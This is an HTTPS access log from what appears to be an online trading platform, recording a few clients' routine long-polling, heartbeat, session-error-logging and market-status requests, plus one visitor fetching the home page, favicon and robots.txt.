[09/Jan/2026:12:18:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932595194 HTTP/1.1" -
[09/Jan/2026:12:18:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932595516 HTTP/1.1" -
[09/Jan/2026:12:18:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:18:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:49 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932597007 HTTP/1.1" -
[09/Jan/2026:12:18:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932600210 HTTP/1.1" -
[09/Jan/2026:12:18:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932600440 HTTP/1.1" -
[09/Jan/2026:12:18:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932600629 HTTP/1.1" -
[09/Jan/2026:12:18:54 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932602038 HTTP/1.1" -
[09/Jan/2026:12:18:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:18:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:18:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932605233 HTTP/1.1" -
[09/Jan/2026:12:18:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932605644 HTTP/1.1" -
[09/Jan/2026:12:18:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932605731 HTTP/1.1" -
[09/Jan/2026:12:19:00 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932607091 HTTP/1.1" -
[09/Jan/2026:12:19:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932610261 HTTP/1.1" -
[09/Jan/2026:12:19:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932610798 HTTP/1.1" -
[09/Jan/2026:12:19:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932610968 HTTP/1.1" -
[09/Jan/2026:12:19:05 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932612156 HTTP/1.1" -
[09/Jan/2026:12:19:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932615298 HTTP/1.1" -
[09/Jan/2026:12:19:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932615996 HTTP/1.1" -
[09/Jan/2026:12:19:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932616099 HTTP/1.1" -
[09/Jan/2026:12:19:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:10 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932617223 HTTP/1.1" -
[09/Jan/2026:12:19:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932620338 HTTP/1.1" -
[09/Jan/2026:12:19:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932621299 HTTP/1.1" -
[09/Jan/2026:12:19:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932621246 HTTP/1.1" -
[09/Jan/2026:12:19:14 +0800] 115.231.78.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:12:19:14 +0800] 115.231.78.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:12:19:14 +0800] 115.231.78.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:12:19:15 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932622263 HTTP/1.1" -
[09/Jan/2026:12:19:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:15 +0800] 115.231.78.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:12:19:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932625373 HTTP/1.1" -
[09/Jan/2026:12:19:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932626473 HTTP/1.1" -
[09/Jan/2026:12:19:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932626549 HTTP/1.1" -
[09/Jan/2026:12:19:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:20 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932627337 HTTP/1.1" -
[09/Jan/2026:12:19:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932630431 HTTP/1.1" -
[09/Jan/2026:12:19:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932631534 HTTP/1.1" -
[09/Jan/2026:12:19:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932631736 HTTP/1.1" -
[09/Jan/2026:12:19:25 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932632366 HTTP/1.1" -
[09/Jan/2026:12:19:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932635465 HTTP/1.1" -
[09/Jan/2026:12:19:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932636625 HTTP/1.1" -
[09/Jan/2026:12:19:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932637023 HTTP/1.1" -
[09/Jan/2026:12:19:30 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932637420 HTTP/1.1" -
[09/Jan/2026:12:19:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932640501 HTTP/1.1" -
[09/Jan/2026:12:19:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932641764 HTTP/1.1" -
[09/Jan/2026:12:19:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932642228 HTTP/1.1" -
[09/Jan/2026:12:19:35 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932642477 HTTP/1.1" -
[09/Jan/2026:12:19:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932645545 HTTP/1.1" -
[09/Jan/2026:12:19:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932646916 HTTP/1.1" -
[09/Jan/2026:12:19:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932647432 HTTP/1.1" -
[09/Jan/2026:12:19:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:40 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932647517 HTTP/1.1" -
[09/Jan/2026:12:19:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932650592 HTTP/1.1" -
[09/Jan/2026:12:19:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932652059 HTTP/1.1" -
[09/Jan/2026:12:19:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932652707 HTTP/1.1" -
[09/Jan/2026:12:19:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:45 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932652553 HTTP/1.1" -
[09/Jan/2026:12:19:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932655647 HTTP/1.1" -
[09/Jan/2026:12:19:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932657203 HTTP/1.1" -
[09/Jan/2026:12:19:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932657920 HTTP/1.1" -
[09/Jan/2026:12:19:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:19:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:50 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932657600 HTTP/1.1" -
[09/Jan/2026:12:19:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932660673 HTTP/1.1" -
[09/Jan/2026:12:19:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932662260 HTTP/1.1" -
